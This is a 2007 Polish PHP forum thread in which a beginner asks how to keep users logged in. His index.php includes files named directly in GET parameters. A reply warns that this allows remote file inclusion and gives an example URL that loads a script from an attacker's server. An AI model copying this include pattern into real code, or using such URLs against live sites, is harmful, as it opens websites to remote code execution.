Forum PHP.pl > panel z logowaniem

Pomoc - Szukaj - Użytkownicy - Kalendarz

arcktick

13.01.2007, 19:42:27

pisze forum oparte na php i mysql i chcialbym zrobic na nim cos w rodzaju panelu logowania tak jak to na przyklad jest na tym forum zrobione. W tej chwili konstrukcja mojego pliku index.php wygląda nastepujaco:

[PHP] pobierz, plaintext 
<HTML>
<HEAD>
<TITLE>WSPANIALE FORUM</TITLE>
<link rel="Stylesheet" type="text/css" href="style.css" />
</HEAD>
<BODY bgcolor="white">
<TABLE align="center"><TR><TD><IMG SRC="top.jpg"></TD></TR></TABLE><br>
<-----------LOGOWANIE----------------------------------------->
<?php
if(!isset($_GET['Nazwa2']))
{
	$parowka2="login.php";
	include($parowka2);
}
if(isset($_GET['Nazwa2']))
{
	$parowka2=$_GET['Nazwa2'];
	require_once($parowka2);
}
?>
<BR><BR>
<a href="index.php?Name=main.php">Wyswietl grupy tematyczne</a>
<!---------------------------srodkowy pas ------------------------------->
<?php 
if(!isset($_GET['Name']))$parowka="main.php";
if(isset($_GET['Name']))$parowka=$_GET['Name'];
include($parowka);
 
 
?>
 
</BODY>
 
 
 
</HTML>
[PHP] pobierz, plaintext

I spoko moge sie zalogowac.Tylko ze jakakolwiek akcja uruchamiajaca index.php wylogowuje mnie co zreszta jest do przewidzenia bo skrypt wykonuje sie od poczatku. Moje pytanie dotyczy tego czy da sie to jakos rozwiazac przy takim ukladzie index.php ktory zawiera dwa niezalezne includy i czy wogole da sie tak zrobic zeby odczytane przeze mnie przywileje uzytkownika byly globalnie widoczne ( na czas sesji uzytkownika- jest mi to potrzebne przy okreslaniu akcji jakie uzytkownik moze podejmowac).
Chodzi mi o dokladnie taki sam panel logowania jak jest na tym forum.
pozdrawiam i z gory dzieki za kazda sugestie

Kamil J.

13.01.2007, 19:48:41

Sugestia: twój kod to deser dla potencjalnego haxora.

w GET'cie trzymasz całą nazwę includowanego pliku? tzn index.php?nazwa2=page.php

potencjalny haxor wpisze:
index.php?nazwa2=http://serwerhaxora.pl/plik_pozwalajacy_mu_sie_wlamac.php

i co wtedy

zobacz to: Temat: Bezpieczenstwo skryptow php

Co do logowania to najpierw popraw ten kod ^^

arcktick

14.01.2007, 10:52:25

tak wiem bezpieczenstwo jest bardzo wazne ale to blad jest do wyeliminowania. moim bole jest w tej chwili to jak zrobic dwa niezalezne includy tak zeby wywolanie jednego nie wywolywalo drugiego

luz poradzilem sobie dzieki zastosowaniu sesji uzytkownika :-)

Kamil J.

14.01.2007, 10:52:46

Wytłumacz to jakoś dokładniej, bo w tym pierwszym poście to nic nie rozumiem.

Mówisz o jakiś przywilejach/logowaniach, a pokazujesz kod który jest odpowiedzialny na wyświetlenie danej treści. ocb?

Pozdrawiam Kamil

To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.